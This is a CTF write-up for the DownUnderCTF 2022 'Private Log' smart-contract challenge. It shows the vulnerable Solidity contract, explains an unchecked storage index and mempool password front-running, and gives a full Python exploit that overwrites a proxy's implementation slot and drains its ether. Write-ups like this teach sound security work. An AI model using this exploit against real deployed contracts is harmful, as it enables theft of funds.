2022 | DownUnderCTF | blockchain

Private Log

#smart contract #proxy contract

题目¶

I thought I would try and save some gas by updating my log entries with assembly, I'm not super sure if it's safe, but I have added a password for good measure.

But it's okay because if there is a bug I can always upgrade since I'm using the TransparentUpgradeableProxy pattern :).

I love my creation so much that I add a new log every minute!

Note the block time on this challenge is 23 seconds, so there will a delay in deploying and resetting the challenge.

Goal: Steal all funds from the contract.

PrivateLog.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @title Private Log
 * @author Blue Alder (https://duc.tf)
 **/

import "OpenZeppelin/openzeppelin-contracts@4.3.2/contracts/proxy/utils/Initializable.sol";


contract PrivateLog is Initializable {

    bytes32 public secretHash;
    string[] public logEntries;

    constructor() {
        secretHash = 0xDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEAD;
    }

    function init(bytes32 _secretHash) payable public initializer {
        require(secretHash != 0xDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEAD);
        secretHash = _secretHash;
    }

    modifier hasSecret(string memory password, bytes32 newHash) {
        require(keccak256(abi.encodePacked(password)) == secretHash, "Incorrect Hash");
        secretHash = newHash;
        _;
    }

    function viewLog(uint256 logIndex) view public returns (string memory) {
        return logEntries[logIndex];
    } 

    function createLogEntry(string memory logEntry, string memory password, bytes32 newHash) public hasSecret(password, newHash) {
        require(bytes(logEntry).length <= 31, "log too long");   

        assembly {
            mstore(0x00, logEntries.slot)
            let length := sload(logEntries.slot)
            let logLength := mload(logEntry)
            sstore(add(keccak256(0x00, 0x20), length), or(mload(add(logEntry, 0x20)), mul(logLength, 2)))
            sstore(logEntries.slot, add(length, 1))
        }
    }

    function updateLogEntry(uint256 logIndex, string memory logEntry, string memory password, bytes32 newHash) public hasSecret(password, newHash) {
        require(bytes(logEntry).length <= 31, "log too long");   

        assembly {
            let length := mload(logEntry)
            mstore(0x00, logEntries.slot)
            sstore(add(keccak256(0x00, 0x20), logIndex), or(mload(add(logEntry, 0x20)), mul(length, 2)))
        }

    }
}

解题思路¶

目标是转移合约的所有资金，但是 PrivateLog 中并没有相关的函数
题目描述中提到了合约 TransparentUpgradeableProxy，非管理员调用代理合约将 fallback 到逻辑合约，代理合约使用逻辑合约的代码，而其他属性则存储在代理合约内。可升级意味着逻辑合约是可以更改的

通过查看余额可以确认实际上需要转移的是代理合约的资金，那么显然需要更改代理合约中逻辑合约的地址，从而能够通过新的逻辑合约来转移资金

TransparentUpgradeableProxy 中逻辑合约的地址存储在固定的位置 _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc¹

from web3 import Web3
from web3.middleware import geth_poa_middleware
import requests, json

base_id = 'fd313a3613eb393b'

w3 = Web3(Web3.HTTPProvider(f"https://blockchain-privatelog-{base_id}-eth.2022.ductf.dev"))
w3.middleware_onion.inject(geth_poa_middleware, layer=0)

info = json.loads(requests.get(f'https://blockchain-privatelog-{base_id}.2022.ductf.dev/challenge').content)

account = w3.eth.account.from_key(info['player_wallet']['private_key'])

log_addr = info['contract_address'][0]['address']
proxy_addr = info['contract_address'][1]['address']

print(w3.eth.get_balance(log_addr))
print(w3.eth.get_balance(proxy_addr))

# 0
# 100000000000000000000

updateLogEntry() 不检查 logIndex，而 sstore(addr, val) 可以将 val 写入 addr，可以借此来修改逻辑合约的地址
- keccak256(p, n) 即 keccak(mem[p…(p+n)))，mem[0, 20) 对应 logEntries.slot，那么 keccak256(0x00, 0x20) 即 keccak(2)（slot 0 Initializable 的变量，slot 1 secretHash）
- keccak256(2) 大于 _IMPLEMENTATION_SLOT，需要修改的 logIndex 为 \(2^{256}\) - keccak256(2) + _IMPLEMENTATION_SLOT
不过，logEntry 为 string 类型，存储方式与 address 不同
- 若字符串长度不超过 31 字节，将以 higher-order 存储，且最低字节存储 length * 2，如字符串 hello 将存储为 0x68656c6c6f00000000000000000000000000000000000000000000000000000a，而地址类型以 lower-order 存储
- logEntry 最长支持 31 字节，那么最低字节是 0x3e，因此用于转移资金的逻辑合约地址最后 1 字节应为 0x3e
接下来考虑如何获得 updateLogEntry() 的控制权。无论 createLogEntry() 或 updateLogEntry() 都需要知道当前的密码，并传入新密码的哈希。但 owner 每分钟都会调用 createLogEntry()，而每 23s 才产生一个新区块，可以通过 pending 的交易获得密码，并以更高的汽油费取得优先写入权，从而能够使用 updateLogEntry()

Exploit¶

from web3 import Web3
from web3.middleware import geth_poa_middleware
from eth_abi import decode_abi
from eth_utils import keccak, to_bytes, to_checksum_address
from solcx import compile_source
import requests, json, rlp

def transact(func, gas=1000000, gas_price=None):
    tx = account.sign_transaction(eval(func).buildTransaction({
        'chainId': w3.eth.chain_id,
        'nonce': w3.eth.get_transaction_count(account.address),
        'gas': gas,
        'gasPrice': gas_price if gas_price else w3.eth.gas_price,
    })).rawTransaction
    tx_hash = w3.eth.send_raw_transaction(tx).hex()
    return w3.eth.wait_for_transaction_receipt(tx_hash)

base_id = 'fd313a3613eb393b'

w3 = Web3(Web3.HTTPProvider(f"https://blockchain-privatelog-{base_id}-eth.2022.ductf.dev"))
w3.middleware_onion.inject(geth_poa_middleware, layer=0)

info = json.loads(requests.get(f'https://blockchain-privatelog-{base_id}.2022.ductf.dev/challenge').content)

account = w3.eth.account.from_key(info['player_wallet']['private_key'])
log_addr = info['contract_address'][0]['address']
proxy_addr = info['contract_address'][1]['address']

log_abi = open('abi.json').read()

contract_log = w3.eth.contract(address=proxy_addr, abi=log_abi)

tx_filter = w3.eth.filter('pending')
newHash = w3.solidityKeccak(['string'], ['password'])
while True:
    if tx_hashes := tx_filter.get_new_entries():
        tx = w3.eth.get_transaction(tx_hashes[0])
        logEntry, password, _ = decode_abi(['string', 'string', 'bytes32'], bytes.fromhex(tx.input[10:]))
        transact("contract_log.functions.createLogEntry('under the control', password, newHash)", gas_price=w3.eth.gas_price + 100)
        break

curr_nonce = w3.eth.get_transaction_count(account.address)
target_nonce = curr_nonce
sender_bytes = to_bytes(hexstr=account.address)
while True:
    addr_bytes = keccak(rlp.encode([sender_bytes, target_nonce]))[12:]
    target_address = to_checksum_address(addr_bytes)
    if int(target_address[-2:], 16) == 0x3e:
        break
    target_nonce += 1

_IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
logIndex = 2 ** 256 - int(w3.solidityKeccak(['uint256'], [2]).hex(), 16) + _IMPLEMENTATION_SLOT
logEntry = f"{int(target_address, 16):064x}"[:-2]
tx = contract_log.functions.updateLogEntry(logIndex, 'A' * 31, 'password', newHash).build_transaction({
    'chainId': w3.eth.chain_id,
    'nonce': w3.eth.get_transaction_count(account.address),
    'gas': 1000000,
    'gasPrice': w3.eth.gas_price,
})
tx['data'] = tx['data'].replace('41' * 31, logEntry)    # 可能存在 UTF-8 无法编码的字符，因此不直接传入 logEntry，而是采用替换的方式
tx_hash = w3.eth.send_raw_transaction(account.sign_transaction(tx).rawTransaction).hex()
w3.eth.wait_for_transaction_receipt(tx_hash)

print(w3.eth.getStorageAt(proxy_addr, _IMPLEMENTATION_SLOT).hex())

curr_nonce = w3.eth.get_transaction_count(account.address)
while target_nonce > curr_nonce:
    transact("contract_log.functions.createLogEntry('under the control', 'password', newHash)")
    curr_nonce += 1

hack_source = """
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Hack {
    function steal() public {
        payable(msg.sender).transfer(100 ether);
    }
}
"""
_, hack_interface = compile_source(hack_source).popitem()
hack_contract = w3.eth.contract(abi=hack_interface['abi'], bytecode=hack_interface['bin'])
print(transact("hack_contract.constructor()", gas=hack_contract.constructor().estimateGas() * 2).contractAddress)

contract_hack = w3.eth.contract(address=proxy_addr, abi=hack_interface['abi'])
transact("contract_hack.functions.steal()")

print(requests.get(f'https://blockchain-privatelog-{base_id}.2022.ductf.dev/challenge/solve').content)

Flag¶

DUCTF{first_i_steal_ur_tx_then_I_steal_ur_proxy_then_i_steal_ur_funds}

ERC1967Upgrade - _IMPLEMENTATION_SLOT ↩

最后更新: 2022年9月30日 21:01:59

Contributors: YanhuiJessica

Private Log

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解题思路¶

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